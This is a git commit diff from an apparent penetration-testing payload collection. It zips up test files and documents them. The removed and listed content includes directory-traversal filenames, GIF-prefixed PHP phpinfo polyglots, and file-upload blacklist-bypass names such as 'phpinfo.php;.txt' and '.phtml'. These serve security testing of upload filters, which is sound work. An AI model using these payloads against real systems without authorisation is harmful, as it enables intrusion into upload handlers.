Merge pull request #790 from ItsIgnacioPortal/i770

Fixes #770: Zipped files with problematic filenames
2026-07-22 05:34:30 +00:00 · 2022-08-02 00:12:52 +01:00
parent 51bad1c320 a37dbe1d3d
commit edc55381b0
52 changed files with 71 additions and 66 deletions
@@ -0,0 +1,35 @@
+## directory-traversal.zip
+
+This zip file containes files with filenames for directory traversal:
+
+- `..::..::;`
+- `..::;`
+- `..:;`
+- `..;`
+- `..;:`
+- `..\:;`
+- `.:..:`
+- `.:..:;`
+- `.:;`
+- `.;`
+- `.;:`
+- `:..:;`
+- `::..::;`
+- `:;`
+- `;`
+- `;:`
+- `;\:`
+
+> It's impossible to unzip this file on Windows, due to their arbitrary filename restrictions. It's possible to unzip it in WSL though.
+
+
+## max-length.zip
+
+This zip file containes files with long filenames for testing buffer overflow vulnerabilities, or error-based access control vulnerabilities. This zip also includes a script to generate arbitrarily long filenames.
+
+
+- `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif`
+- `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`
+- `make-255.sh`
+
+> It's impossible to unzip this file on Windows, due to their arbitrary filename restrictions. It's possible to unzip it in WSL though.
@@ -1 +0,0 @@
-python -c 'print "A" *232'
@@ -1,2 +0,0 @@
-GIF8;
-<?php phpinfo(); ?>
@@ -1,7 +0,0 @@
-#!/bin/sh
-#$ msf-pattern_create -l 255
-touch Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4
-
-echo 'GIF8;' > Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai.gif
-
-echo '<?php phpinfo(); ?>' > Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai.php
@@ -1 +0,0 @@
-Hello World
@@ -1 +0,0 @@
-Hello World
@@ -1 +0,0 @@
-Hello World
@@ -1 +0,0 @@
-Hello World
@@ -1 +0,0 @@
-Hello World
@@ -1 +0,0 @@
-Hello World
@@ -1 +0,0 @@
-Hello World
@@ -1 +0,0 @@
-Hello World
@@ -1 +0,0 @@
-Hello World
@@ -1 +0,0 @@
-Hello World
@@ -1 +0,0 @@
-Hello World
@@ -1 +0,0 @@
-Hello World
@@ -1 +0,0 @@
-Hello World
@@ -1 +0,0 @@
-Hello World
@@ -1 +0,0 @@
-Hello World
@@ -1 +0,0 @@
-Hello World
@@ -1 +0,0 @@
-Hello World
@@ -1,5 +0,0 @@
-#!/bin/sh
-zip phpinfo-aio.zip phpinfo*.{p*,txt,jp*g,gif}
-
-tar -cvf phpinfo-aio.tar phpinfo*.{p*,txt,jp*g,gif}
-
@@ -1,3 +0,0 @@
-//tested on 7.2
-// even with short_open_tag=0
-<?=phpinfo()?>
@@ -1,2 +0,0 @@
-GIF89a1
-
<?php phpinfo(); ?>
@@ -1,2 +0,0 @@
-GIF89a1
-
<?php phpinfo(); ?>
@@ -1,2 +0,0 @@
-GIF89a1
-
<?php phpinfo(); ?>
@@ -1,2 +0,0 @@
-GIF89a1
-
<?php phpinfo(); ?>
@@ -1 +0,0 @@
-<?php phpinfo(); ?>
@@ -1 +0,0 @@
-<?php phpinfo(); ?>
@@ -1,2 +0,0 @@
-GIF89a1
-
<?php phpinfo(); ?>
@@ -1 +0,0 @@
-GIF89a1
<?php phpinfo(); ?>
@@ -1,2 +0,0 @@
-GIF89a1
-
<?php phpinfo(); ?>
@@ -1,2 +0,0 @@
-GIF89a1
-
<?php phpinfo(); ?>
@@ -1,2 +0,0 @@
-GIF89a1
-
<?php phpinfo(); ?>
@@ -1,2 +0,0 @@
-GIF89a1
-
<?php phpinfo(); ?>
@@ -1 +0,0 @@
-<?php phpinfo(); ?>
@@ -1 +0,0 @@
-<?php phpinfo(); ?>
@@ -1 +0,0 @@
-<?php phpinfo(); ?>
@@ -1 +0,0 @@
-<?php phpinfo(); ?>
@@ -1 +0,0 @@
-<?php phpinfo(); ?>
@@ -1 +0,0 @@
-<?php phpinfo(); ?>
@@ -1 +0,0 @@
-<?php phpinfo(); ?>
@@ -1 +0,0 @@
-<?php phpinfo(); ?>
@@ -1 +0,0 @@
-<?php phpinfo(); ?>
@@ -44,4 +44,39 @@ IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvali

 ## POC_img_phpinfo File

-Outlined here: https://www.secgeek.net/bookfresh-vulnerability/
+Outlined here: https://www.secgeek.net/bookfresh-vulnerability/
+
+
+## PHPInfo.zip
+
+This zip file containes files with filenames for bypassing blacklists and accessing `phpinfo.php`:
+
+- ` make-aio.sh`
+- ` phpinfo-aio.tar`
+- ` phpinfo-aio.zip`
+- `'phpinfo.""gif'`
+- `'phpinfo."gif'`
+- `"phpinfo.''gif"`
+- `"phpinfo.'gif"`
+- ` phpinfo.jpg.php`
+- ` phpinfo-metadata.gif`
+- ` phpinfo-metadata.jpg`
+- ` phpinfo.php`
+- ` phpinfo.php-1.gif`
+- ` phpinfo.php-2.gif`
+- ` phpinfo.php3`
+- ` phpinfo.php4`
+- ` phpinfo.php5`
+- ` phpinfo.php7`
+- `'phpinfo.php.""gif'`
+- `'phpinfo.php."gif'`
+- `"phpinfo.php.''gif"`
+- `"phpinfo.php.'gif"`
+- ` phpinfo.phpt`
+- `'phpinfo.php;.txt'`
+- ` phpinfo.pht`
+- ` phpinfo.phtml`
+- ` phpinfo-shortsyntax.php`
+- ` phpinfo.txt`
+
+It's impossible to unzip this file on Windows, due to their arbitrary filename restrictions. It's possible to unzip it in WSL though.